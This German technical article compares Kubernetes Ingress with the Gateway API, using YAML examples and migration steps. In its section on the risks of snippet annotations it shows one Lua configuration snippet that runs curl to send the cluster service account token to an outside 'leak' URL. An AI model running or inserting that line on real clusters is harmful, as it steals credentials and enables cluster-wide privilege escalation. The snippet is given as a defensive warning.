Beyond Ingress: Warum Ingress an seine Grenzen stößt und was Gateway API für die Produktivumgebung ändert

Ein technischer Überblick über die Schwächen von Kubernetes-Ingress, die Trennung von Infrastruktur und Routing in der Gateway API, die schrittweise Migration und die Trade-offs im Betrieb.

Vithya Jeyachandran Nov 15, 2026

Fast ein Jahrzehnt lang war die Kubernetes-Ressource Ingress der Standard, um Anwendungs-Traffic ins Cluster zu routen. Wer einen Webservice nach außen freigeben wollte, deklarierte ein Ingress-Objekt, ergänzte ein paar Annotationen, verwies auf die passende IngressClass und richtete den DNS-Eintrag auf die LoadBalancer-IP des Ingress-Controllers ein.

Das Projekt kubernetes/ingress-nginx wurde offiziell eingestellt, die Ingress API erhält keine neuen Funktionen mehr und die Gateway API wird inzwischen von allen großen Controllern (NGINX Gateway Fabric, Envoy Gateway, Cilium, Traefik u. a.) unterstützt. Statt noch einmal den Ingress-Controller zu wechseln, migrieren Plattform- und Operations-Teams deshalb direkt auf die Gateway API.

Für Teams stellen sich dabei drei zentrale Fragen: Welche Schwächen von Ingress behebt die Gateway API, wie gelingt die Migration im laufenden Betrieb und welchen neuen operativen Aufwand bringt sie mit sich?

Die Grenzen von Ingress im Produktionsbetrieb

Ingress dient als Einstiegspunkt für externen HTTP/HTTPS-Traffic und leitet Anfragen anhand von Routing-Regeln im Manifest an interne Backend-Services weiter:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: blue-colorapp
  namespace: blue
spec:
  ingressClassName: nginx
  rules:
  - host: blue.my-demo.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: blue-colorapp
            port:
              number: 5000

Für einfache, statische Workloads reicht das aus. Sobald eine Anwendung im Produktionsbetrieb jedoch komplexes Routing, Canary-Deployments, eigene Timeouts, Header-Anpassungen oder Rate-Limiting benötigt, zeigen sich die funktionalen und architektonischen Grenzen von Ingress.

Black-Box-Debugging

Die Spezifikation der Ingress API sieht keine Statusmeldungen für Routing-Regeln vor. Verweist ein Ingress-Manifest auf einen nicht existierenden Service oder einen falschen Backend-Port, oder steckt ein Tippfehler im Namen einer Annotation, nimmt der Kubernetes API-Server das Manifest trotzdem ohne Fehlermeldung an. Der Validating-Admission-Webhook von ingress-nginx fängt zwar Konfigurationen ab, die eine ungültige nginx.conf erzeugen würden, solche logischen Fehler erkennt er aber nicht. kubectl get ingress zeigt das Objekt samt Adresse an, selbst wenn hinter der Route kein erreichbares Backend steht.

Da solche Verarbeitungsfehler nicht im Ressourcen-Status landen, können Entwickler nicht selbst nachvollziehen, warum ihre Routen 404 Not Found oder 503 Service Unavailable liefern. Stattdessen erfordert die Fehlersuche direkten Zugriff auf die Container-Logs des Controllers:

kubectl logs -n ingress-nginx deployment/ingress-nginx-controller | grep -E "error|rejected"

In Multi-Tenant-Clustern haben Anwendungsentwickler aus Sicherheitsgründen meist keinen Zugriff auf den Namespace des Controllers. Ohne Einblick in die Logs erfordert bereits ein Tippfehler im Routing die Unterstützung des Plattform-Teams.

Proprietäre Annotationen

Die Routing-Regeln von Ingress kennen im Standard nur Hostnamen und URL-Pfade. Typische Anforderungen aus dem Produktionsalltag wie das Umschreiben von URL-Pfaden (Rewrites) oder das Setzen von HTTP-Headern erfordern Controller-spezifische Annotationen, hier am Beispiel von ingress-nginx:

# Präfix ersetzen (erfordert Regex-Capture-Groups wie /api(/|$)(.*) im Pfad)
nginx.ingress.kubernetes.io/use-regex: "true"
nginx.ingress.kubernetes.io/rewrite-target: /$2 
# Request-Header anpassen
nginx.ingress.kubernetes.io/configuration-snippet: | 
  more_set_input_headers "X-Gateway-Routed: false";

Bei einem Wechsel des Controllers (etwa von NGINX auf Envoy oder Cilium) müssen all diese Konfigurationen neu geschrieben werden. Annotationen sind einfache, ungetypte Schlüssel-Wert-Paare. Der Kubernetes API-Server kann sie beim Anlegen der Ressource nicht auf Gültigkeit prüfen. Ein Tippfehler in einer Annotation wird vom Controller stillschweigend ignoriert und führt im Produktionsbetrieb zu fehlerhaftem Routing.

Fehlendes Traffic-Splitting und Header-Routing

Deployment-Muster wie Canary-Releases, A/B-Tests oder Traffic-Mirroring lassen sich mit der Standard-Ingress-Spezifikation nicht abbilden.

Das Schema sieht keine prozentuale Verteilung des Traffics (z. B. 90 % auf v1, 10 % auf v2) über mehrere Backend-Services vor. Unter ingress-nginx erfordert ein Canary-Release deshalb ein zweites, weitgehend identisches Ingress-Objekt mit den Annotationen nginx.ingress.kubernetes.io/canary: "true" und nginx.ingress.kubernetes.io/canary-weight: "10". Eine Aufteilung auf drei oder mehr Backend-Versionen gleichzeitig ist über diesen Workaround nicht möglich. Ebenso fehlt im Standard das Routing anhand von HTTP-Headern, Query-Parametern oder HTTP-Methoden.

Beschränkung auf HTTP/HTTPS

Reine TCP- oder UDP-Verbindungen (etwa für Datenbanken, Game-Server oder VoIP) lassen sich über eine Ingress-Ressource nicht konfigurieren. Teams müssen dafür auf NodePort-Services, dedizierte LoadBalancer-Services oder Controller-spezifische ConfigMaps ausweichen.

Auch für gRPC fehlt in der Ingress API ein standardisiertes Routing-Modell. Da die Spezifikation weder gRPC-Services noch Methoden oder Metadata-Header kennt, müssen Teams gRPC-Routing über reguläre http.paths-Regeln und Controller-Annotationen wie nginx.ingress.kubernetes.io/backend-protocol: "GRPC" konfigurieren.

Kein Routing über Namespace-Grenzen hinweg

Eine Ingress-Ressource kann ausschließlich auf Services im selben Namespace verweisen. Um dennoch einen Dienst in einem anderen Namespace einzubinden (etwa einen zentralen Authentifizierungs-Service), müssen Teams auf ExternalName-Services als Workaround zurückgreifen:

# ...
  rules:
  - host: blue.my-demo.com
    http:
      paths:
      - path: /authenticate
        pathType: Prefix
        backend:
          service:
            # Ein Standard-Ingress kann keinen Service im Namespace `auth` direkt ansprechen.
            # Als Workaround muss ein ExternalName-Service zwischengeschaltet werden.
            name: my-demo-auth-external-name-service
            port:
              number: 80

Bei einem ExternalName-Service leitet der Ingress-Controller Anfragen an einen internen DNS-CNAME weiter. Erwartet der Ziel-Service beim TLS-Handshake einen bestimmten SNI-Hostnamen, kann die Zertifikatsprüfung fehlschlagen. Zudem existieren für ExternalName-Services keine EndpointSlices, sodass der Controller zur Laufzeit auf die DNS-Auflösung über CoreDNS angewiesen ist. Kurze Störungen im Cluster-DNS können dadurch zu Latenzspitzen oder verworfenen Anfragen führen.

Fehlende Rollentrennung bei RBAC und TLS

Ingress bündelt Domain- und TLS-Konfiguration (Hostnamen, TLS-Zertifikate) direkt mit dem Anwendungs-Routing in einer einzigen Ressource. Da Kubernetes-RBAC Berechtigungen nur für das gesamte Objekt vergeben kann, lassen sich Infrastruktur- und Entwickler-Zuständigkeiten nicht trennen: Trägt ein Entwickler versehentlich einen Hostnamen ein, den bereits ein anderes Team nutzt, kann das zu Routing-Konflikten auf dem gemeinsam genutzten Ingress-Controller führen.

Zudem muss das referenzierte TLS-Secret im selben Namespace wie das Ingress-Objekt liegen. Plattform-Teams müssen geteilte oder Wildcard-Zertifikate dadurch in jeden betreffenden Anwendungs-Namespace kopieren. Dort können Entwickler den privaten Schlüssel auslesen oder das Secret überschreiben:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: blue-colorapp
  namespace: blue
spec:
  tls:
  - hosts:
    - blue.my-demo.com
    secretName: wildcard-demo-tls # <-- Liegt im App-Namespace: kann von Entwicklern ausgelesen oder überschrieben werden
#    ....

Remote Code Execution über Snippet-Annotationen

Um den begrenzten Funktionsumfang der Ingress-Spezifikation auszugleichen, führte ingress-nginx sogenannte „Snippet-Annotationen" ein, mit denen sich rohe NGINX-Direktiven direkt in die generierte nginx.conf einfügen lassen. Sind Snippets im Controller aktiviert (seit v1.9.0 sind sie standardmäßig aus), kann jedes Anwendungs-Team mit Schreibrechten auf Ingress-Ressourcen im eigenen Namespace darüber beliebigen Lua- oder Shell-Code direkt im Pod des Ingress-Controllers ausführen.

nginx.ingress.kubernetes.io/configuration-snippet: |     
  access_by_lua_block {                      
    os.execute("curl -X POST https://my-demo-app.com/leak --data $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)")
  }

Da der ServiceAccount eines gemeinsam genutzten Controllers Lesezugriff auf Secrets und Services über alle Namespaces hinweg benötigt, ermöglicht ein einzelnes Ingress-Manifest damit eine clusterweite Rechteausweitung (Privilege Escalation).

Auch ohne Snippets bleibt das Grundmuster angreifbar, weil der Controller Annotationen in nginx.conf übersetzt: IngressNightmare (CVE-2025-1974) erlaubte im März 2025 Codeausführung im Controller-Pod über dessen Admission-Webhook, ganz ohne Schreibrechte auf Ingress-Ressourcen.

Gateway API: Klare Trennung nach Rollen

Die Gateway API teilt die Zuständigkeiten auf drei getrennte Ressourcen-Ebenen auf, die sich an den realen Rollen in Engineering-Teams orientieren:

┌────────────────────────────────────────────────────────┐
│ 1. GatewayClass (Infrastruktur-Provider / Admin)       │
│    Definiert die verwendete Proxy-Implementierung      │
└───────────────────────────┬────────────────────────────┘
                            │ (Steuert)
┌───────────────────────────▼────────────────────────────┐
│ 2. Gateway (Plattform- / Operations-Team)              │
│    Definiert Einstiegspunkte: Ports, Listener, TLS     │
└───────────────────────────┬────────────────────────────┘
                            │ (Bindet Routen über Namespaces hinweg an)
┌───────────────────────────▼────────────────────────────┐
│ 3. HTTPRoute / GRPCRoute / TCPRoute (App-Entwickler)   │
│    Definiert Anwendungs-Routing: Pfade, Gewichte, usw. │
└────────────────────────────────────────────────────────┘

Ebene 1 (GatewayClass): Zuordnung des Controllers

Als clusterweite Ressource legt die GatewayClass (vergleichbar mit der IngressClass) fest, welcher Controller (etwa NGINX, Envoy, Istio oder ein Cloud-Controller) die Gateways dieser Klasse verwaltet. Infrastruktur-Administratoren richten die GatewayClass zentral ein und können über parametersRef globale Proxy-Konfigurationen verknüpfen:

apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: my-demo-nginx-gateway-class
spec:
  controllerName: gateway.nginx.org/nginx-gateway-controller
  parametersRef:
    group: gateway.nginx.org
    kind: NginxProxy
    name: ngf-proxy-config
    namespace: my-demo-nginx-gateway

Eine GatewayClass allein öffnet noch keine Ports, vergibt keine IP-Adressen und leitet keinen Traffic weiter.

Ebene 2 (Gateway): Einstiegspunkte, Listener und TLS-Konfiguration

Über die Gateway-Ressource konfigurieren Plattform- und Operations-Teams die konkreten Netzwerkeinstiegspunkte einer GatewayClass. Über listeners legen sie fest, welche Ports, Protokolle und Hostnamen geöffnet werden, hinterlegen die TLS-Zertifikate und steuern über allowedRoutes, aus welchen Namespaces Routen an dieses Gateway angebunden werden dürfen:

apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: my-demo-gateway
  namespace: demo-infra
spec:
  gatewayClassName: my-demo-nginx-gateway-class
  listeners:
  - name: https-wildcard
    protocol: HTTPS
    port: 443
    hostname: "*.my-demo.com"
    tls:
      mode: Terminate
      certificateRefs:
      - name: wildcard-demo-tls # Das TLS-Secret verbleibt im Namespace demo-infra
    allowedRoutes:
      namespaces:
        from: Selector
        selector:
          matchLabels:
            gateway-access: "my-demo" # Nur Namespaces mit diesem Label dürfen Routen anbinden

Damit löst das Gateway die fehlende Rollentrennung von Ingress: Listener-Konfiguration und Wildcard-TLS-Secret verbleiben im geschützten Namespace demo-infra und müssen nicht mehr für Anwendungs-Teams freigegeben oder kopiert werden.

Hostname-Konflikte verhindert das allein allerdings nicht: Unter dem Wildcard-Listener können weiterhin zwei Namespaces denselben Hostnamen in ihren HTTPRoutes beanspruchen. Bei identischen Matches gewinnt laut Spezifikation die ältere Route. Wer das ausschließen will, legt pro Team einen eigenen Listener mit festem Hostnamen an.

Ebene 3 (Route-Ressourcen): Anwendungs-Routing für Entwickler

Über Route-Ressourcen (wie HTTPRoute oder GRPCRoute) definieren Anwendungsentwickler in ihrem eigenen Namespace, wie eingehende Anfragen zu ihren Services weitergeleitet werden. Dazu binden sie die Route über parentRefs an das zentrale Gateway an und benötigen dafür keine clusterweiten Berechtigungen.

Nachvollziehbarer Status durch Status Conditions

Die Gateway API behebt das fehlende Status-Reporting von Ingress durch standardisierte Status-Conditions in jeder Ressource. Der Controller schreibt direkt in den status-Block der HTTPRoute, ob die Route formal gültig ist, vom Gateway akzeptiert wurde (Accepted) und ob alle referenzierten Services aufgelöst werden konnten (ResolvedRefs):

kubectl get httproute blue-colorapp-route -n blue -o yaml
status:
  parents:
  - parentRef:
      name: my-demo-gateway
      namespace: demo-infra
    controllerName: gateway.nginx.org/nginx-gateway-controller
    conditions:
    # 1. Hat das Gateway diese Route akzeptiert?
    - type: Accepted
      status: "True"
      reason: Accepted
      message: "Route successfully bound to Gateway listener https-wildcard"
    # 2. Konnten alle Backend-Services und Namespaces aufgelöst werden?
    - type: ResolvedRefs
      status: "True"
      reason: ResolvedRefs
      message: "All backend Service references resolved successfully"

Verweist ein Entwickler auf einen falschen Port, einen nicht vorhandenen Service oder ein Gateway, das für seinen Namespace nicht freigegeben ist, wird die Ursache sofort im Status der Route ausgewiesen:

  - type: ResolvedRefs
    status: "False"
    reason: BackendNotFound
    message: "Service 'blue-colorapp-v3' in namespace 'blue' not found"

Konfigurationsfehler lassen sich so im eigenen Namespace mit regulären kubectl-Befehlen diagnostizieren, ohne Zugriff auf Controller-Logs oder Unterstützung durch das Plattform-Team. Standardisiert sind dabei type, status und reason. Der Wortlaut der message-Felder unterscheidet sich je nach Controller, die Texte oben sind deshalb als Beispiel zu lesen.

Natives Traffic-Splitting ohne doppelte Manifeste

Für Canary-Releases und gewichtete Lastverteilung sind in der Gateway API keine duplizierten Ressourcen nötig. Eine HTTPRoute unterstützt über matches nicht nur das Routing anhand von Pfaden, HTTP-Headern, Query-Parametern und Methoden, sondern verteilt den Traffic über weight auch gewichtet auf mehrere backendRefs innerhalb derselben Regel:

apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: blue-colorapp-route
  namespace: blue
spec:
  parentRefs:
  - name: my-demo-gateway
    namespace: demo-infra # Bindet die Route an das zentrale Plattform-Gateway an
  hostnames:
  - "blue.my-demo.com"
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /    
    backendRefs:
    # 90 % des Traffics gehen an die stabile Version v1
    - name: blue-colorapp
      port: 5000
      weight: 90
    # 10 % Canary-Traffic gehen an die neue Version v2
    - name: blue-colorapp-v2
      port: 5000
      weight: 10      

Native Filter statt proprietärer Annotationen und Snippets

In der Gateway API sind Layer-7-Operationen wie URL-Rewrites, Redirects, Request-Mirroring oder Header-Anpassungen direkt als filters im Schema der HTTPRoute definiert. Das ersetzt sowohl herstellerspezifische Annotationen als auch unsichere Konfigurations-Snippets und ermöglicht dem Kubernetes API-Server, die Konfiguration bereits beim Anlegen zu validieren:

rules:
- matches:
  - path:
      type: PathPrefix
      value: /legacy-api
  filters:
  # 1. URL-Pfad umschreiben (nativ im Schema und statisch validiert)
  - type: URLRewrite
    urlRewrite:
      path:
        type: ReplacePrefixMatch
        replacePrefixMatch: /api/v1
  # 2. HTTP-Header setzen (ohne rohe Proxy-Direktiven)
  - type: RequestHeaderModifier
    requestHeaderModifier:
      set:
        - name: X-Gateway-Routed
          value: "true"
  backendRefs:
  - name: blue-colorapp
    port: 5000

Kontrolliertes Routing über Namespace-Grenzen hinweg mit ReferenceGrant

Um Services in anderen Namespaces anzusprechen, sind in der Gateway API keine ExternalName-Services nötig. Stattdessen ermöglicht die Ressource ReferenceGrant einen expliziten, beidseitig kontrollierten Zugriff über Namespace-Grenzen hinweg.

Im folgenden Beispiel leitet eine HTTPRoute im Namespace blue alle Aufrufe unter /authenticate an den zentralen demo-auth-service im Namespace auth weiter:

# 1. Das App-Team verweist in seiner Route auf den Service im anderen Namespace
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: blue-auth-route
  namespace: blue
spec:
  parentRefs:
  - name: my-demo-gateway
    namespace: demo-infra
  hostnames:
  - "blue.my-demo.com"
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /authenticate
    backendRefs:
    - name: demo-auth-service
      namespace: auth # Verweis über die Namespace-Grenze hinweg
      port: 8080
# 2. Das Team des Ziel-Namespaces gibt den Zugriff gezielt frei
apiVersion: gateway.networking.k8s.io/v1
kind: ReferenceGrant
metadata:
  name: allow-blue-auth
  namespace: auth # Wird im Ziel-Namespace angelegt
spec:
  from:
  - group: gateway.networking.k8s.io
    kind: HTTPRoute
    namespace: blue
  to:
  - group: ""
    kind: Service
    name: demo-auth-service

Ohne einen passenden ReferenceGrant im Ziel-Namespace lehnt der Controller die Referenz ab und setzt in den Status-Conditions der Route ResolvedRefs: False (reason: RefNotPermitted). Ein ReferenceGrant ist nicht auf Backend-Services beschränkt, sondern kann einem Gateway ebenso den Lesezugriff auf TLS-Secrets in einem zentralen Namespace (z. B. cert-manager) erlauben.

Als v1 gibt es ReferenceGrant erst seit Gateway API v1.5. Ältere Installationen kennen nur gateway.networking.k8s.io/v1beta1.

Unterstützung für gRPC, TCP, UDP und TLS

Über dasselbe Rollen- und Attachment-Modell unterstützt die Gateway API auch weitere Protokolle. Controller-spezifische ConfigMaps oder dedizierte LoadBalancer-Services werden damit überflüssig:

  • GRPCRoute: Natives Layer-7-Routing für gRPC anhand von Service-Namen, Methoden und Metadata-Headern.
  • TCPRoute & UDPRoute: Deklaratives Layer-4-Routing für Datenbanken (PostgreSQL, Redis), Message-Broker (Kafka) oder Streaming-Dienste.
  • TLSRoute: Weiterleitung verschlüsselter TLS-Verbindungen (Passthrough) anhand des SNI-Headers, ohne den Traffic am Gateway zu entschlüsseln.

Der Reifegrad ist dabei unterschiedlich: GRPCRoute gehört seit Gateway API v1.1 zum Standard-Channel, TLSRoute seit v1.5, TCPRoute und UDPRoute erst seit v1.6. Nicht jeder Controller implementiert alle Route-Typen, ein Blick in die Liste der Implementierungen und deren Conformance-Reports gehört deshalb vor die Planung.

Migration im laufenden Betrieb (Zero-Downtime)

Der Umstieg von Ingress auf die Gateway API muss nicht in einem einzigen Schritt erfolgen, sondern lässt sich im laufenden Betrieb schrittweise umsetzen:

Parallelbetrieb beider Controller

Der neue Gateway-API-Controller kann im selben Cluster parallel zum bestehenden Ingress-Controller betrieben werden. Beide erhalten eigene LoadBalancer-IPs und können gleichzeitig Traffic an dieselben Backend-Services weiterleiten. So lassen sich alle neuen Routen unter realen Bedingungen testen, bevor der produktive DNS-Eintrag umgestellt wird.

Automatische Konvertierung bestehender Manifeste

Mit dem offiziellen Kubernetes-CLI-Tool ingress2gateway lassen sich vorhandene Ingress-Ressourcen auslesen und automatisch in passende Gateway- und HTTPRoute-Manifeste übersetzen:

ingress2gateway print --providers=ingress-nginx --input-file ingress-manifests.yaml > gateway-api.yaml

Eigene Lua-Skripte, komplexe reguläre Ausdrücke und herstellerspezifische Plugins lassen sich nicht automatisch konvertieren und müssen manuell überführt werden.

Ebenfalls nicht abgedeckt sind die Werkzeuge rund um Ingress. cert-manager stellt Zertifikate für Gateway-Ressourcen erst aus, wenn seine Gateway-API-Unterstützung aktiviert ist, und external-dns legt DNS-Einträge für die neuen Routen nur an, wenn --source=gateway-httproute als zusätzliche Quelle konfiguriert ist.

Schrittweise Umstellung

  • Schritt 1: Neue Services von Beginn an über die Gateway API bereitstellen.
  • Schritt 2: Bestehende Services mit komplexen Anforderungen (Canary-Deployments, Namespace-übergreifendes Routing) vorziehen, um fehleranfällige Annotationen frühzeitig abzulösen.
  • Schritt 3: Den DNS-Traffic schrittweise auf das neue Gateway schwenken und die alten Ingress-Ressourcen abbauen.

Operativer Aufwand und Trade-offs

Die Gateway API löst die funktionalen und architektonischen Schwächen von Ingress, bringt im Gegenzug aber eigene Anforderungen für den Plattformbetrieb mit:

Policy Attachment statt Annotationen

Standard-Ressourcen wie Gateway und HTTPRoute decken Listener-Konfiguration, TLS-Terminierung und Traffic-Routing ab. Funktionen wie Rate-Limiting, WAF-Regeln, Authentifizierung oder Circuit Breaking werden von den Controller-Herstellern über das Policy-Attachment-Modell bereitgestellt. Anstelle von Annotationen kommen dabei eigene Custom Resources zum Einsatz, etwa BackendTrafficPolicy und SecurityPolicy bei Envoy Gateway oder ClientSettingsPolicy bei NGINX Gateway Fabric. Das verhindert zwar unvalidierte Tippfehler, verlagert den Aufwand aber auf die Verwaltung zusätzlicher herstellerspezifischer CRDs, einschließlich der Frage, wie sich Policies zwischen Gateway und HTTPRoute vererben oder überschreiben.

Mehr Ressourcen für denselben Anwendungsfall

Durch die Aufteilung nach Rollen werden aus zwei Ressourcen (IngressClass und Ingress) bis zu vier (GatewayClass, Gateway, HTTPRoute, ReferenceGrant). Das sorgt für saubere Berechtigungsgrenzen, erhöht aber auch die Anzahl der API-Objekte im Cluster und setzt voraus, dass sowohl Operations- als auch Entwicklungsteams das Zusammenspiel der Referenzen über Namespace-Grenzen hinweg verstehen.

LoadBalancer-Provisionierung und Cloud-Kosten

Viele Gateway-Controller erstellen für jedes Gateway-Objekt ein eigenes Proxy-Deployment und einen eigenen Cloud-LoadBalancer. Jeder zusätzliche LoadBalancer belegt eine IP-Adresse und verursacht beim Cloud-Anbieter eigene Kosten (fester Grundpreis + nutzungsabhängige Kosten). Das Anlegen von Gateway-Ressourcen sollte daher per RBAC auf das Plattform-Team beschränkt werden. Um die Kosten zu begrenzen, können sich mehrere Teams ein zentrales Gateway teilen, während dedizierte Gateways nur für Workloads angelegt werden, die eine strikte Isolation erfordern.

Fazit

Wer heute einen neuen Cluster aufsetzt, hat keinen Grund mehr, mit Ingress zu starten: ingress-nginx ist eingestellt, und neue Funktionen landen nur noch in der Gateway API. In bestehenden Clustern lohnt sich die Migration zuerst dort, wo Annotationen, Snippets und kopierte TLS-Secrets heute die meisten Probleme verursachen. Der Preis dafür sind mehr Ressourcen und herstellerspezifische Policy-CRDs, die das Plattform-Team verstehen und betreiben muss.

Cookies